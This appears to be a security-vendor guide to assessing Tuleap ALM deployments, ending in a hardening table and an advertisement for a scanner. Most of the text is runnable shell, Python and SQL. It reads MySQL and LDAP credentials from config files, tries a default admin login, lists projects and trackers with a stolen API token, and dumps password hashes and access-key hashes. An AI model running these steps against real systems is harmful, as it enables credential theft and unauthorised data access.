Tuleap Security Testing: Default Credentials, API Key, Database, and Project Management

Tuleap is a popular open-source Application Lifecycle Management (ALM) platform used by enterprises and defense organizations for project management, issue tracking, and source code hosting (SVN/Git). Key assessment areas: /etc/tuleap/conf/database.inc exposes MySQL credentials; /etc/tuleap/conf/local.inc contains the LDAP bind password and site key; the REST API uses personal access tokens; and source code repositories may be accessible via extracted credentials. This guide covers systematic Tuleap security assessment.

Table of Contents

  1. /etc/tuleap/conf/ MySQL and LDAP Credential Extraction
  2. REST API Personal Access Token and Admin Assessment
  3. MySQL User Hash, Access Token, and Repository Content
  4. Tuleap Security Hardening

/etc/tuleap/conf/ MySQL and LDAP Credential Extraction

# Tuleap — /etc/tuleap/conf/ credential extraction
TULEAP_URL="https://tuleap.example.com"

# /etc/tuleap/conf/database.inc — MySQL database credentials
cat /etc/tuleap/conf/database.inc 2>/dev/null
# $dbpasswd = '...';     <-- MySQL database password
# $dbuser = 'tuleapadm';
# $dbhost = 'localhost';
# $dbname = 'tuleap';

python3 -c "
import re
content = open('/etc/tuleap/conf/database.inc').read()
patterns = {
    'dbpasswd': r'\\\$dbpasswd\s*=\s*[\'\"](.*?)[\'\"]\s*;',
    'dbuser': r'\\\$dbuser\s*=\s*[\'\"](.*?)[\'\"]\s*;',
    'dbhost': r'\\\$dbhost\s*=\s*[\'\"](.*?)[\'\"]\s*;',
    'dbname': r'\\\$dbname\s*=\s*[\'\"](.*?)[\'\"]\s*;',
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# /etc/tuleap/conf/local.inc — LDAP and application secret
grep -E "sys_ldap|ldap_password|sys_auth_token|sys_key" \
  /etc/tuleap/conf/local.inc 2>/dev/null | head -20
# $sys_ldap_passwd: LDAP bind password for directory integration
# sys_key or sys_auth_token: application signing key

# Test admin login
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  -X POST "${TULEAP_URL}/account/login.php" \
  -d "form_loginname=admin&form_pw=siteadmin" \
  -c /tmp/tuleap_c -b /tmp/tuleap_c -L 2>/dev/null)
echo "admin/siteadmin: HTTP ${STATUS}"

REST API Personal Access Token and Admin Assessment

# Tuleap REST API — personal access token and admin assessment
TULEAP_URL="https://tuleap.example.com"

# Tuleap REST API authentication:
# Option 1: Token header — X-Auth-Token (personal access token)
# Option 2: Basic auth — X-Auth-UserId + X-Auth-Token
# Personal access tokens are created in user profile > Access Keys

# Test API with extracted PAT
PAT="extracted-personal-access-token"
USER_ID="1"  # admin user ID

curl -s "${TULEAP_URL}/api/users/self" \
  -H "X-Auth-Token: ${PAT}" \
  -H "X-Auth-UserId: ${USER_ID}" \
  -H "Content-Type: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'UserID: {d.get(\"id\")}')
print(f'Username: {d.get(\"username\")}')
print(f'Email: {d.get(\"email\")}')
print(f'Is admin: {d.get(\"is_site_administrator\")}')
" 2>/dev/null

# Enumerate all projects
curl -s "${TULEAP_URL}/api/projects?limit=50&offset=0" \
  -H "X-Auth-Token: ${PAT}" \
  -H "X-Auth-UserId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
projects=json.load(sys.stdin)
print(f'Projects: {len(projects) if isinstance(projects,list) else \"error\"}')
if isinstance(projects,list):
    for p in projects[:5]:
        print(f'  [{p.get(\"id\")}] {p.get(\"shortname\")} — {p.get(\"label\")}')
" 2>/dev/null

# Access trackers (issue tracking artifacts)
curl -s "${TULEAP_URL}/api/trackers?project_id=100&limit=20" \
  -H "X-Auth-Token: ${PAT}" \
  -H "X-Auth-UserId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    trackers=d if isinstance(d,list) else d.get('trackers',[])
    for t in trackers[:5]:
        print(f'  Tracker {t.get(\"id\")}: {t.get(\"label\")} — {t.get(\"nb_open_items\")} open items')
except: pass
" 2>/dev/null

MySQL User Hash, Access Token, and Repository Content

# Tuleap MySQL database — user hash, access token, and repository content
DB_PASS="extracted-db-password"

mysql -u tuleapadm -p"${DB_PASS}" tuleap 2>/dev/null << 'EOF'
-- Tuleap user table with password hashes
SELECT u.user_id, u.user_name, u.email, u.password,
       u.status, u.admin,
       u.realname, u.add_date, u.last_access_date
FROM user u
WHERE u.status = 'A'    -- active users
ORDER BY u.user_id
LIMIT 20;
-- password: bcrypt $2y$ hash in modern Tuleap
-- admin: 'S' = site admin, 'N' = regular user

-- Site administrators
SELECT u.user_id, u.user_name, u.email, u.password
FROM user u
WHERE u.admin = 'S' AND u.status = 'A';

-- Personal Access Keys (REST API authentication)
SELECT k.id, k.user_id, k.token, k.description,
       k.expiration_date, k.last_usage,
       u.user_name, u.email, u.admin
FROM user_access_key k
JOIN user u ON u.user_id = k.user_id
WHERE k.expiration_date IS NULL OR k.expiration_date > NOW()
ORDER BY k.last_usage DESC
LIMIT 20;
-- token: hashed; raw token shown only at creation time
-- Note: Tuleap stores token hash, not plaintext — extraction via DB gives hash only

-- Project groups and membership
SELECT g.group_id, g.group_name, g.unix_group_name,
       g.status, g.type,
       ug.admin_flags, u.user_name, u.email
FROM groups g
JOIN user_group ug ON ug.group_id = g.group_id
JOIN user u ON u.user_id = ug.user_id
WHERE ug.admin_flags = 'A'    -- project admins
AND g.status = 'A'
ORDER BY g.group_id
LIMIT 20;

-- Tracker artifacts (issue content)
SELECT a.id, a.tracker_id,
       u.user_name as submitter,
       a.submitted_on, a.last_update_date,
       c.body as description
FROM tracker_artifact a
JOIN user u ON u.user_id = a.submitted_by
JOIN tracker_field_changeset_value_text c ON c.changeset_id = a.last_changeset_id
ORDER BY a.last_update_date DESC
LIMIT 10;
EOF

Tuleap Security Hardening

Tuleap Security Hardening Checklist:
Security TestMethodRisk
/etc/tuleap/conf/database.inc MySQL dbpasswd extractionRead /etc/tuleap/conf/database.inc — database credentials for all project data, source code access, user hashes, and tracker artifactsCritical
/etc/tuleap/conf/local.inc LDAP bind password extractionRead /etc/tuleap/conf/local.inc — sys_ldap_passwd LDAP service account password enabling directory enumeration and user data accessHigh
Admin credential brute-force (admin/siteadmin)POST /account/login.php — site admin session; full platform administration, project management, user data export, plugin installationHigh
user table bcrypt password hash extraction with admin identificationMySQL SELECT password FROM user WHERE admin='S' — bcrypt hashes for site administrators; offline password recovery enabling full platform compromiseHigh
REST API project, tracker, and artifact enumerationGET /api/projects and /api/trackers with PAT — all projects, issue tracker artifacts, source code access; sensitive development data and potentially classified project informationMedium

Automate Tuleap Security Testing

Ironimo tests Tuleap deployments for /etc/tuleap/conf/database.inc MySQL dbpasswd extraction, /etc/tuleap/conf/local.inc LDAP bind password and site key extraction, admin/siteadmin credential brute-force at /account/login.php, user table bcrypt hash extraction with site admin (admin='S') identification, REST API personal access key authentication and project enumeration, tracker artifact content access via /api/trackers, SVN and Git repository access control assessment, user_access_key PAK token hash extraction (for offline analysis), Tuleap version disclosure for CVE targeting, and plugin audit for unauthorized code execution.

Start free scan